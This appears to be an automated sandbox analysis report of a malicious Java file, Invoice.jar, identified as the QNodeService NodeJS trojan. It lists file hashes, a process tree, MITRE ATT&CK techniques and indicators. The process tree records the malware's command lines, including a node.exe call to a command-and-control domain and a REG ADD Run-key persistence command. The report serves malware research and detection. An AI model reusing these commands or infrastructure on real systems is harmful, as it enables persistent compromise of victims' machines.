qnodeservice | 032ceead01998c59d55d9fa60642e9708e5e1073e10c86f1abb2c3f5443a3c03

General

Target

Invoice.jar
Size

120KB
MD5

391eab24cb9b95597be7a1b690b024e9
SHA1

c302d181956e35c1ab8ccbf6da575673725c920a
SHA256

032ceead01998c59d55d9fa60642e9708e5e1073e10c86f1abb2c3f5443a3c03
SHA512

0170562462b01bc48429ffe53035b5b1e5e59c2492cf79cc150b517ae9426e8cf41c2bfa7fc92a2664194bba77cfda0957de53ac98cf06d3720ec49217e59b94

Score

10^/10

qnodeservice persistence trojan

Malware Config

Signatures

QNodeService
Trojan/stealer written in NodeJS and spread via Java downloader.
trojan qnodeservice

Executes dropped EXE 3 IoCs

pid	Process
2756	node.exe
1292	node.exe
4092	node.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\Software\Microsoft\Windows\CurrentVersion\Run\a6edf110-8281-4ffd-90a6-aa7f3e661c48 = "cmd /D /C \"C:\\Users\\Admin\\qhub\\node\\2.0.10\\boot.vbs\""	reg.exe

JavaScript code in executable 3 IoCs

resource	yara_rule
behavioral2/files/0x000100000001ab69-172.dat	js
behavioral2/files/0x000100000001ab69-175.dat	js
behavioral2/files/0x000100000001ab69-179.dat	js

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
21	wtfismyip.com
22	wtfismyip.com

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	node.exe

Suspicious behavior: EnumeratesProcesses 18 IoCs

pid	Process
2756	node.exe
2756	node.exe
2756	node.exe
2756	node.exe
1292	node.exe
1292	node.exe
1292	node.exe
1292	node.exe
4092	node.exe
4092	node.exe
4092	node.exe
4092	node.exe
4092	node.exe
4092	node.exe
4092	node.exe
4092	node.exe
4092	node.exe
4092	node.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 3372 wrote to memory of 4060	3372	java.exe	76
PID 3372 wrote to memory of 4060	3372	java.exe	76
PID 4060 wrote to memory of 2756	4060	javaw.exe	80
PID 4060 wrote to memory of 2756	4060	javaw.exe	80
PID 2756 wrote to memory of 1292	2756	node.exe	82
PID 2756 wrote to memory of 1292	2756	node.exe	82
PID 1292 wrote to memory of 4092	1292	node.exe	83
PID 1292 wrote to memory of 4092	1292	node.exe	83
PID 4092 wrote to memory of 1308	4092	node.exe	85
PID 4092 wrote to memory of 1308	4092	node.exe	85
PID 1308 wrote to memory of 1336	1308	cmd.exe	86
PID 1308 wrote to memory of 1336	1308	cmd.exe	86

C:\ProgramData\Oracle\Java\javapath\java.exe
java -jar C:\Users\Admin\AppData\Local\Temp\Invoice.jar
1⤵
- Suspicious use of WriteProcessMemory
PID:3372
- C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe
  "C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe" -jar C:\Users\Admin\AppData\Local\Temp\bfb178c2.tmp
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4060
- - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
    C:\Users\Admin\node-v14.12.0-win-x64\node.exe - --hub-domain september101991.ddns.net
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:2756
  - - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
      C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_gqAnWc\boot.js --hub-domain september101991.ddns.net
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:1292
    - - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
        
        C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_gqAnWc\boot.js --hub-domain september101991.ddns.net
        5⤵
        Executes dropped EXE
        Checks processor information in registry
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:4092
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "a6edf110-8281-4ffd-90a6-aa7f3e661c48" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\"""
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:1308
        
        C:\Windows\system32\reg.exe
        
        REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "a6edf110-8281-4ffd-90a6-aa7f3e661c48" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\""
        7⤵
        Adds Run key to start application
        
        PID:1336

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

1

T1060

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/1292-176-0x000002F5C7600000-0x000002F5C7601000-memory.dmp

Filesize
4KB

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memory/2756-173-0x0000027F99480000-0x0000027F99481000-memory.dmp

Filesize
4KB

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memory/4092-180-0x00000035C6140000-0x00000035C6141000-memory.dmp

Filesize
4KB

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